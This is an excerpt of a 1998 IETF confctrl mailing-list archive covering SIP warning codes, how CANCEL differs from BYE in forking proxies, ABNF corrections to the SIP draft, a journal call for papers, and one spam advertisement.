   330  Multicast not available: The site where the user is located does
        not support multicast.

   331 Unicast not available: The site where the user is located does
        not support unicast communication (usually due to the presence
        of a firewall).

370-379  Warnings related to quantitative QoS parameters requested in the
Session Description

   370  Insufficient bandwidth: The bandwidth specified in the session
        description or defined by the media exceeds that known to be
        available.

390-399 Miscelleanous Warnings

   x99 Miscellaneous warning: The warning text may include arbitrary
        information to be presented to a human user, or logged. A system
        receiving this warning MUST NOT take any automated action.


I'm just leaving some space for each group to grow in the future, such as
leaving space for some other session description language other than SDP,
other network services (like IPv6), other QoS numbers. I'm also leaving
space for new groups should they appear.

Note that the changes I suggest shorten the spec, which is always a good
thing....

Of course, such changes as these do not require a new last call.

Scott






From confctrl-owner  Fri Jul 24 11:32:46 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA28481
	for confctrl-outgoing; Fri, 24 Jul 1998 11:32:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28476
	for <confctrl@zephyr.isi.edu>; Fri, 24 Jul 1998 11:32:44 -0700 (PDT)
Received: from rumor.research.att.com (rumor.research.att.com [192.20.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA19826
	for <confctrl@isi.edu>; Fri, 24 Jul 1998 11:32:43 -0700 (PDT)
Received: from research.att.com ([135.207.30.100]) by rumor; Fri Jul 24 14:26:29 EDT 1998
Received: from surfcity.research.att.com ([135.207.128.5]) by research; Fri Jul 24 14:30:52 EDT 1998
Received: from pcmrcfast (pcmrcfast [135.207.131.70])
	by surfcity.research.att.com (8.8.7/8.8.7) with SMTP id OAA11799;
	Fri, 24 Jul 1998 14:30:50 -0400 (EDT)
Message-ID: <021401bdb730$3dd870f0$4683cf87@pcmrcfast.research.att.com>
Reply-To: "M. Reha Civanlar" <civanlar@research.att.com>
From: "M. Reha Civanlar" <civanlar@research.att.com>
To: <rem-conf@es.net>, <confctrl@ISI.EDU>
Subject: CfP: Real-time Video over the Internet
Date: Fri, 24 Jul 1998 14:24:02 -0400
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-MIME-Autoconverted: from 8bit to quoted-printable by surfcity.research.att.com id OAA11799
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id LAA28477
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Special Issue Of Image Communication (a EUROSIP Journal)
on "Real-time Video over the Internet"

Transmission of real-time video over the Internet is becoming an important
part
of many multimedia applications. The availability of prototype systems that
can
deliver TV quality video using the Internet Protocol (IP) over intranets
suggests
that a real Internet TV may be feasible in the near future as higher
bandwidth
networks are more widely deployed. This will revolutionize the way we watch
TV
by making it possible for every user to have a private TV studio from which
specialized programs can be narrow-cast to interested viewers in the global
community.

To achieve this goal, the video compression algorithms is being revised or
redesigned to address the special requirements imposed by the Internet.
These
requirements include robust operation under high packet losses, delays and
jitter;
providing capabilities for multipoint transmission; coping with the
heterogeneous
nature of today’s networks and adapting to varying network conditions. In
addition
to the compression techniques, the transport and the session control
protocols
play a very important role in designing usable real-time video systems over
the
Internet. Moreover, the future designer need to be completely aware of both
signal
processing and network protocols aspects and use a combination of the two in
order
to design successful systems.

The special issue aims at providing the research and development community
with a
collection of original contributions describing the state of the art systems
as
well as results of new research and developments on the real-time Internet
Video.
Topics of interest include, but are not limited to,

- Network adaptive video coding and transport
- Layered coding for error resilience and heteregenous networks
- Packet loss resilient coding and transport techniques
- Transcoding for heterogeneous networks
- Packet loss concealment techniques
- Statistical multiplexing for greater network utilization
- Traffic shaping for efficient network and terminal utilization
- Interstream synchronization for multiple video presentations
- Rate control techniques for VBR video
- Terminal and server architectures for real-time video over the Internet
- Implementations and commercial applications
- Telepresence - video cameras on the internet
- Developments in the International Standards, e.g. MPEG, ITU, IETF.

Important Deadlines:

Submission:  1 September 1998
Acceptance Decision: 31 January 1999
Publication: May/June 1999

Please submit contributions to Guest Editors:

Dr. M. Reha Civanlar
Technology Leader, AT&T Labs - Research
100 Schultz Drive, 3-213
Red Bank, NJ 07701
U.S.A
Phone: +1 732 345 3305
Fax: +1 732 345 3033
E-mail: civanlar@research.att.com
Web: http://www.research.att.com/info/mrc

Prof. A. Murat Tekalp
Department of Electrical Engineering
and Center for Electronic Imaging Systems
Hopeman 204
University of Rochester
Rochester, NY 14627-0126
U.S.A.
Phone: +1 (716) 275-3774
Fax: +1 (716) 473-0486
E-mail: tekalp@ee.rochester.edu
Web: http://www.ee.rochester.edu/~tekalp/



From confctrl-owner  Wed Jul 29 13:10:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA07654
	for confctrl-outgoing; Wed, 29 Jul 1998 13:10:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA07649
	for <confctrl@zephyr.isi.edu>; Wed, 29 Jul 1998 13:10:44 -0700 (PDT)
Received: from arthur.axion.bt.co.uk (arthur.axion.bt.co.uk [132.146.5.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA26095;
	Wed, 29 Jul 1998 13:10:38 -0700 (PDT)
Received: from rambo (actually rambo.futures.bt.co.uk) 
          by arthur.axion.bt.co.uk (PP) with SMTP;
          Wed, 29 Jul 1998 21:08:28 +0100
Received: from mussel.futures.bt.co.uk (actually mussel) by rambo 
          with SMTP (PP); Wed, 29 Jul 1998 21:10:27 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) 
          id <01BDBB34.872F4F00@mussel.futures.bt.co.uk>;
          Wed, 29 Jul 1998 21:04:51 +0100
Message-ID: <c=GB%a=_%p=BT%l=HERCULES-980729200954Z-12497@mussel.futures.bt.co.uk>
From: Jerome Privat <jerome.privat@bt-sys.bt.co.uk>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>, "'mjh@ISI.EDU'" <mjh@ISI.EDU>,
        "'schulzrinne@cs.columbia.edu'" <schulzrinne@cs.columbia.edu>,
        "'jdrosen@dnrc.bell-labs.com'" <jdrosen@dnrc.bell-labs.com>
Subject: SIP: CANCEL method/forking proxy
Date: Wed, 29 Jul 1998 21:09:54 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 49 TEXT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'd like to be sure that I understand why BYE cannot be used to cancel
pending searches (in other terms: why do we need to use CANCEL?).

In section 4.2.5, it is written:
"The BYE request cannot be used to cancel branches of a parallel search,
since several branches may, through intermediate proxies, find the same
user agent and terminate the call."

First of all, in the example of section 14.5 Forking Proxy, it seems to
me that we could send a:
BYE sip:watson@acm.org SIP/2.0
(instead of CANCEL sip:watson@acm.org SIP/2.0).

If my understanding is correct, we need a more complex example to
justify the use of CANCEL.
Let's consider the following example (with 2 levels of forking proxies
and a UAS registered with 2 different proxies):
a forking proxy P forks a request to proxies P1 and P2.
P1 forks the request to UAS1 and UAS2.
P2 forks the request to UAS1 and UAS3.

UAS1 (watson@x.com) sends a 200 OK to P1 and P2.
P1 and P2 both proxies this 200 OK to P.

Now, P wants to accept only one of this two 200 OK. So when it receives
the first 200 OK (say the one from P1), it sends:
ACK sip:watson@x.com SIP/2.0
to P1 which proxies it to UAS1.
But then, when it receives the second 200 OK from UAS1 (via P2), it
sends:
CANCEL sip:watson@x.com SIP/2.0 
to P2 which proxies it to UAS1.
(In this case, we cannot send a:
BYE sip:watson@x.com SIP/2.0
because this would terminate the call).


Is my understanding correct?
If yes, I think you should include a more comprehensive example (as the
one above) in the spec to justify the use of CANCEL.
If not, please explain me where is my mistake.

Thanks,

Jerome

Jerome Privat
BT Labs
email: jerome.privat@bt-sys.bt.co.uk

From confctrl-owner  Wed Jul 29 22:59:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA24016
	for confctrl-outgoing; Wed, 29 Jul 1998 22:59:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA24011
	for <confctrl@zephyr.isi.edu>; Wed, 29 Jul 1998 22:59:21 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA08562;
	Wed, 29 Jul 1998 22:56:01 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Jul 30 01:55:50 EDT 1998
Received: from dnrc.bell-labs.com ([135.17.200.52])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA28006;
	Thu, 30 Jul 1998 01:55:47 -0400 (EDT)
Message-ID: <35C00B69.D798ED1E@dnrc.bell-labs.com>
Date: Thu, 30 Jul 1998 01:58:01 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Jerome Privat <jerome.privat@bt-sys.bt.co.uk>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>, "'mjh@ISI.EDU'" <mjh@ISI.EDU>,
        "'schulzrinne@cs.columbia.edu'" <schulzrinne@cs.columbia.edu>
Subject: Re: SIP: CANCEL method/forking proxy
References: <c=GB%a=_%p=BT%l=HERCULES-980729200954Z-12497@mussel.futures.bt.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jerome Privat wrote:
> 
> I'd like to be sure that I understand why BYE cannot be used to cancel
> pending searches (in other terms: why do we need to use CANCEL?).
> 
> In section 4.2.5, it is written:
> "The BYE request cannot be used to cancel branches of a parallel search,
> since several branches may, through intermediate proxies, find the same
> user agent and terminate the call."
> 
> First of all, in the example of section 14.5 Forking Proxy, it seems to
> me that we could send a:
> BYE sip:watson@acm.org SIP/2.0
> (instead of CANCEL sip:watson@acm.org SIP/2.0).
> 
> If my understanding is correct, we need a more complex example to
> justify the use of CANCEL.

No, this example is fine. When P sends the CANCEL, it doesn't know if
the next hop (sip:watson@acm.org) is a proxy (likely it is, in fact), or
a UAS. If it was a proxy, the CANCEL would have been further proxied.
So, if Watson had also registered sip:watson@y.bell-tel.com with the ACM
proxy, the CANCEL would arrive to Y as well. This is fine, since a
CANCEL does not terminate a call which has already been answered with a
200. Now, had P sent a BYE instead, the BYE would have hit Y and
terminated the call unintentionally.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jul 30 10:53:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA07494
	for confctrl-outgoing; Thu, 30 Jul 1998 10:53:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA07484
	for <confctrl@zephyr.isi.edu>; Thu, 30 Jul 1998 10:53:09 -0700 (PDT)
Received: from arthur.axion.bt.co.uk (arthur.axion.bt.co.uk [132.146.5.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA23495;
	Thu, 30 Jul 1998 10:53:01 -0700 (PDT)
Received: from rambo (actually rambo.futures.bt.co.uk) 
          by arthur.axion.bt.co.uk (PP) with SMTP;
          Thu, 30 Jul 1998 18:13:50 +0100
Received: from mussel.futures.bt.co.uk (actually mussel) by rambo 
          with SMTP (PP); Thu, 30 Jul 1998 18:15:29 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) 
          id <01BDBBE5.4063D030@mussel.futures.bt.co.uk>;
          Thu, 30 Jul 1998 18:09:53 +0100
Message-ID: <c=GB%a=_%p=BT%l=HERCULES-980730171459Z-13512@mussel.futures.bt.co.uk>
From: Jerome Privat <jerome.privat@bt-sys.bt.co.uk>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>, "'mjh@ISI.EDU'" <mjh@ISI.EDU>,
        "'schulzrinne@cs.columbia.edu'" <schulzrinne@cs.columbia.edu>
Subject: RE: SIP: CANCEL method/forking proxy
Date: Thu, 30 Jul 1998 18:14:59 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 77 TEXT
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,

Thanks for your answer.
I thought that the CANCEL method could only be addressed to a UAS. If it
can also be addressed to a proxy server, the example of section 14.5
makes sense.
But in this case I have some other questions.
Let's take the example of section 14.5, but this time, we specify that
sip:watson@acm.org is a proxy server, and that 2 UAS have registered
with him (UAS1 sip:watson@pc1.com and UAS2 sip:watson@pc2.com).
Let's assume that UAS1 has returned a 200 OK.
Then P sends a CANCEL sip:watson@acm.org SIP/2.0.
sip:watson@acm.org proxies the CANCEL to UAS1 and UAS2.
Now CANCEL should only terminate the transaction with UAS2 but not with
UAS1.
What I still struggle to understand is how UAS1 and UAS2 reacts
differently when they receive the CANCEL? (because in this case the
request has not been addressed to one of them but to the ACM proxy).
One possibility would be that if UAS1 has received an ACK, then it
ignores the CANCEL. But in this case, what would happen if the ACK got
delayed and the CANCEL arrived before it to UAS 1? 
Or is the rule: if a UAS has sent a 200 OK, then it ignores any CANCEL
coming later?
 
Thanks in advance for your answer,

Jerome

Jerome Privat
BT Labs
email: jerome.privat@bt-sys.bt.co.uk

>----------
>From: 	Jonathan Rosenberg[SMTP:jdrosen@dnrc.bell-labs.com]
>Sent: 	30 July 1998 06:58
>To: 	Jerome Privat
>Cc: 	'confctrl@ISI.EDU'; 'mjh@ISI.EDU'; 'schulzrinne@cs.columbia.edu'
>Subject: 	Re: SIP: CANCEL method/forking proxy
>
>Jerome Privat wrote:
>> 
>> I'd like to be sure that I understand why BYE cannot be used to cancel
>> pending searches (in other terms: why do we need to use CANCEL?).
>> 
>> In section 4.2.5, it is written:
>> "The BYE request cannot be used to cancel branches of a parallel search,
>> since several branches may, through intermediate proxies, find the same
>> user agent and terminate the call."
>> 
>> First of all, in the example of section 14.5 Forking Proxy, it seems to
>> me that we could send a:
>> BYE sip:watson@acm.org SIP/2.0
>> (instead of CANCEL sip:watson@acm.org SIP/2.0).
>> 
>> If my understanding is correct, we need a more complex example to
>> justify the use of CANCEL.
>
>No, this example is fine. When P sends the CANCEL, it doesn't know if
>the next hop (sip:watson@acm.org) is a proxy (likely it is, in fact),
>or
>a UAS. If it was a proxy, the CANCEL would have been further proxied.
>So, if Watson had also registered sip:watson@y.bell-tel.com with the
>ACM
>proxy, the CANCEL would arrive to Y as well. This is fine, since a
>CANCEL does not terminate a call which has already been answered with a
>200. Now, had P sent a BYE instead, the BYE would have hit Y and
>terminated the call unintentionally.
>
>-Jonathan R.
>-- 
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX: (732) 834-5379                         Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen
>

From confctrl-owner  Thu Jul 30 20:02:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA03341
	for confctrl-outgoing; Thu, 30 Jul 1998 20:02:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA03336
	for <confctrl@zephyr.isi.edu>; Thu, 30 Jul 1998 20:02:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA07056;
	Thu, 30 Jul 1998 20:02:01 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Jul 30 23:01:41 EDT 1998
Received: from dnrc.bell-labs.com ([135.17.200.68])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA26874;
	Thu, 30 Jul 1998 23:01:38 -0400 (EDT)
Message-ID: <35C13419.C9462332@dnrc.bell-labs.com>
Date: Thu, 30 Jul 1998 23:03:53 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Jerome Privat <jerome.privat@bt-sys.bt.co.uk>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>, "'mjh@ISI.EDU'" <mjh@ISI.EDU>,
        "'schulzrinne@cs.columbia.edu'" <schulzrinne@cs.columbia.edu>
Subject: Re: SIP: CANCEL method/forking proxy
References: <c=GB%a=_%p=BT%l=HERCULES-980730171459Z-13512@mussel.futures.bt.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jerome Privat wrote:
> 
> Jonathan,
> 
> Thanks for your answer.
> I thought that the CANCEL method could only be addressed to a UAS. If it
> can also be addressed to a proxy server, the example of section 14.5
> makes sense.

A CANCEL is processed by all the proxies along the path up to, and
including any UAS which receive the CANCEL. It effectively tears down
the state along the tree set up by a request.

> But in this case I have some other questions.
> Let's take the example of section 14.5, but this time, we specify that
> sip:watson@acm.org is a proxy server, and that 2 UAS have registered
> with him (UAS1 sip:watson@pc1.com and UAS2 sip:watson@pc2.com).
> Let's assume that UAS1 has returned a 200 OK.
> Then P sends a CANCEL sip:watson@acm.org SIP/2.0.
> sip:watson@acm.org proxies the CANCEL to UAS1 and UAS2.
> Now CANCEL should only terminate the transaction with UAS2 but not with
> UAS1.
> What I still struggle to understand is how UAS1 and UAS2 reacts
> differently when they receive the CANCEL?

UAS1 will receive the CANCEL, note that it has already responded, won't
change any state established by the INVITE, and send a 200 OK response
to the CANCEL. UAS2 will receive the CANCEL, note that it hasn't
responded, send a 200 OK to the CANCEL, and stop alerting the user. It
won't send any response to the original INVITE. 

 (because in this case the
> request has not been addressed to one of them but to the ACM proxy).
> One possibility would be that if UAS1 has received an ACK, then it
> ignores the CANCEL. But in this case, what would happen if the ACK got
> delayed and the CANCEL arrived before it to UAS 1?
> Or is the rule: if a UAS has sent a 200 OK, then it ignores any CANCEL
> coming later?

Almost. A UAS receiving a CANCEL won't send a definitive response to the
request if it hasn't already done so. If it has already sent a
definitive response, it ignores the CANCEL (but still responds to it
with a 200 OK). A proxy receiving a CANCEL forwards it on all branches
which haven't yet completed with a definitive response. A proxy will
also generally become stateless after it has received an OK to all of
the CANCEL's it has sent.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jul 30 20:38:12 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA04008
	for confctrl-outgoing; Thu, 30 Jul 1998 20:38:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA04003
	for <confctrl@zephyr.isi.edu>; Thu, 30 Jul 1998 20:38:10 -0700 (PDT)
Received: from chopin.bcit.bc.ca (root@[142.232.189.22])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id UAA08371;
	Thu, 30 Jul 1998 20:38:09 -0700 (PDT)
From: zhwd@zhwdzh.net
Received: from default (2Cust41.tnt8.lax3.da.uu.net [153.37.74.169]) by chopin.bcit.bc.ca with SMTP (8.6.8/BCIT-1.3H)
  id UAA04223 (from zhwd@zhwdzh.net); Thu, 30 Jul 1998 20:31:51 -0700
Date: Thu, 30 Jul 1998 20:31:51 -0700
Received: from login_0246.whynot.net (mx.whynot.net[206.212.231.88]) by mergew@uck.uk.jp (8.8.5/8.7.3) with SMTP id XAA07273 for sender422@whynot.net;  Thu, 30 July 1998 20:33:32 -0700 (EDT)
To: kimh_27@hotmail.com
Subject: Profit from the Internet revolution...
Reply-To: mergew@whynot.net
X-PMFLAGS: 10322341.10.109
X-UIDL: 10293287_192832.222vbn765
Comments: Authenticated Sender is <user122@uck.uk.jp>
Message-Id: <22930125_65168709>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 Commercial email can and does enrich the lives of others,
 just as traditional mail,television and radio do now.
 The fact is, millions of people,just like you,benefit
 greatly from the advertisments,job offers and information
 they receive via commercial email. If it wasn't for 
 commerce on the Internet there wouldn't be an Internet!

 Let us send your message out to millions of people at a  fraction of the cost of any other means of
 advertising.It's quick,it's easy and the returns can be
 unbelievable.Thousands of people have become and are 
 getting wealthy using target market commercial email.

                     Guaranteed
   
        CALL 1-800-600-0343 ext,1669 leave message.
        CALL 1-702-796-6123 to speak to a consultant.

 If this email offends you in anyway, Please call 
 1-800-600-0343 ext 1669, speak slowly and leave your email   address and you will be removed forever from our mailing 
 list. 

From confctrl-owner  Fri Jul 31 07:33:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13243
	for confctrl-outgoing; Fri, 31 Jul 1998 07:33:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13238
	for <confctrl@zephyr.isi.edu>; Fri, 31 Jul 1998 07:33:57 -0700 (PDT)
Received: from mustard.roke.co.uk (mustard.roke.co.uk [193.118.192.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA07659;
	Fri, 31 Jul 1998 07:33:31 -0700 (PDT)
Received: from rsys002a.roke.co.uk by mustard.roke.co.uk with SMTP (PP) 
          with ESMTP; Fri, 31 Jul 1998 15:31:28 +0100
Received: by RSYS002A with Internet Mail Service (5.5.1960.3)	id <P09C6F3T>;
          Fri, 31 Jul 1998 15:28:27 +0100
Message-ID: <D76D503DE976D1119C7E00A0C944D875767A8E@RSYS002A>
From: "Buller, Jim" <jim.buller@roke.co.uk>
To: "'Conf Control'" <confctrl@ISI.EDU>
Cc: "'Mark Handley'" <mjh@ISI.EDU>,
        "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'Eve Schooler'" <schooler@cs.caltech.edu>,
        "'Jonathon Rosenberg'" <jdrosen@bell-labs.com>,
        "Conroy, Lawrence (SMTP)" <lwc@roke.co.uk>
Subject: SIP ABNF Problem?
Date: Fri, 31 Jul 1998 15:28:26 +0100
X-Mailer: Internet Mail Service (5.5.1960.3)
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ladies and Gentlemen,

I am presently working through your document, "draft-ietf-mmusic-sip-07
- SIP: Session 
Initiation Protocol", as part of a PINT implementation I have just
started undertaking. I 
have found what I believe may be a couple of problems/ errors concerning
some of 
your ABNF definitions. I bring them to your attention as requested in
the Abstract as
you may wish to investigate them further.

Page 19.
=======
Paragraph beginning, "Both Request (section 4) and Response (section
5)", states that :

     "Both types of message consist of a start-line, one or more header 
     fields(also known as 'headers'), an empty line..... " etc

I therefore suggest that the definition (from the same page) :

    generic-message  = start-line
                                     *message-header
                                     CRLF
                                     [message-body]

    start-line               = Request-Line |
                                    Status-Line

    message-header  = *(general-header
                                     | request-header
                                     | response-header
                                     | entity-header)

is incorrect as this would allow zero or more message header contents
twice, once
for each * (i.e. will still equal 0 or more message headers). I suggest
that this 
definition should  in fact read (using the definition and example in
Section 3.6 of ,
"Augmented BNF for Syntax Specification", Nov 97, Crocker and Overell, 
RFC 2234) as follows :

    generic-message  = start-line
                                     1*message-header
                                     CRLF
                                     [message-body]

    start-line               = Request-Line |
                                     Status-Line

    message-header  = general-header
                                     | request-header
                                     | response-header
                                     | entity-header

Page 31 
======
Section 6.6. the Header Field Format text description here is also
inconsistent with 
the BNF. 

     'Header fields can be extended over multiple lines by preceding
each 
     extra line with a space or tab.'

The BNF does not appear to enforce this rule.  

    message-header              = field-name ":" [field-value] CRLF
    field-name                      = token
    field-value                      = *(field-content | LWS)

I suggest that maybe something like the following would be more
suitable:

    message-header              = field-name ":" [field-value] CRLF
[further-field-values]
    field-name                      = token
    field-value                      = *(field-content | LWS | CRLF
[further-field-values] )
    further-field-values        = 1LWS field-value

General Point
==========
It was straight forward to pick up the inconsistency between the
semantics of 
the text and the syntax of the definitions in these cases. However, it
might be that 
other similar inconsistencies exist where the text description of a rule
*only* refers to 
that rule (several examples throughout the text). If the text
descriptions do not 
describe the expected content this makes detection of such
inconsistencies difficult 
at this early stage.

Hoping you find this information useful.

Kind regards,

Jeremy Buller

------------------------------------------------------------------------
-------------------------------------
Jeremy Buller 
IT&N
Roke Manor Research Ltd, Old Salisbury Lane, Romsey, Hampshire. SO51
0ZN. UK .           
E-mail: jim.buller@roke.co.uk 
Tel: +44 (0)1794 833666 
Fax: +44 (0)1794 833434
 
------------------------------------------------------------------------
-------------------------------------

From confctrl-owner  Fri Jul 31 13:52:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA22561
	for confctrl-outgoing; Fri, 31 Jul 1998 13:52:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA22551
	for <confctrl@zephyr.isi.edu>; Fri, 31 Jul 1998 13:52:32 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA12966;
	Fri, 31 Jul 1998 13:52:18 -0700 (PDT)
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by dirty; Fri Jul 31 16:50:13 EDT 1998
Received: from delaware.dnrc.bell-labs.com (delaware.dnrc.bell-labs.com [135.180.240.27])
	by boole.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id QAA04882;
	Fri, 31 Jul 1998 16:50:12 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by delaware.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id QAA00423; Fri, 31 Jul 1998 16:50:11 -0400 (EDT)
Message-ID: <35C22E03.46C7E346@cs.columbia.edu>
Date: Fri, 31 Jul 1998 16:50:11 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: "Buller, Jim" <jim.buller@roke.co.uk>
CC: "'Conf Control'" <confctrl@ISI.EDU>, "'Mark Handley'" <mjh@ISI.EDU>,
        "'Eve Schooler'" <schooler@cs.caltech.edu>,
        "'Jonathon Rosenberg'" <jdrosen@bell-labs.com>,
        "Conroy, Lawrence (SMTP)" <lwc@roke.co.uk>
Subject: Re: SIP ABNF Problem?
References: <D76D503DE976D1119C7E00A0C944D875767A8E@RSYS002A>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Buller, Jim wrote:

> I am presently working through your document, "draft-ietf-mmusic-sip-07
> - SIP: Session

>     generic-message  = start-line
>                                      1*message-header
>                                      CRLF
>                                      [message-body]
> 
>     start-line               = Request-Line |
>                                      Status-Line
> 
>     message-header  = general-header
>                                      | request-header
>                                      | response-header
>                                      | entity-header

Fixed.

> 
> Page 31
> ======
> Section 6.6. the Header Field Format text description here is also
> inconsistent with
> the BNF.
> 
>      'Header fields can be extended over multiple lines by preceding
> each
>      extra line with a space or tab.'
> 
> The BNF does not appear to enforce this rule.
> 
>     message-header              = field-name ":" [field-value] CRLF
>     field-name                      = token
>     field-value                      = *(field-content | LWS)

This is straight from HTTP/1.1. Extension over multiple line is
accomplished via LWS. However, the definition of LWS in the 'Common
Tokens' section was inconsistent with HTTP and has now been brought in
line:

LWS = [CRLF] 1*( SP | HT )


> General Point
> ==========
> It was straight forward to pick up the inconsistency between the
> semantics of
> the text and the syntax of the definitions in these cases. However, it
> might be that
> other similar inconsistencies exist where the text description of a rule
> *only* refers to
> that rule (several examples throughout the text). If the text
> descriptions do not
> describe the expected content this makes detection of such
> inconsistencies difficult
> at this early stage.

It would be nice if there was an automated ABNF checker...

> 
> Hoping you find this information useful.

Thanks for your careful reading; let us know if you find anything else.

From confctrl-owner  Fri Jul 31 14:48:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA23949
	for confctrl-outgoing; Fri, 31 Jul 1998 14:48:51 -0700 (PDT)
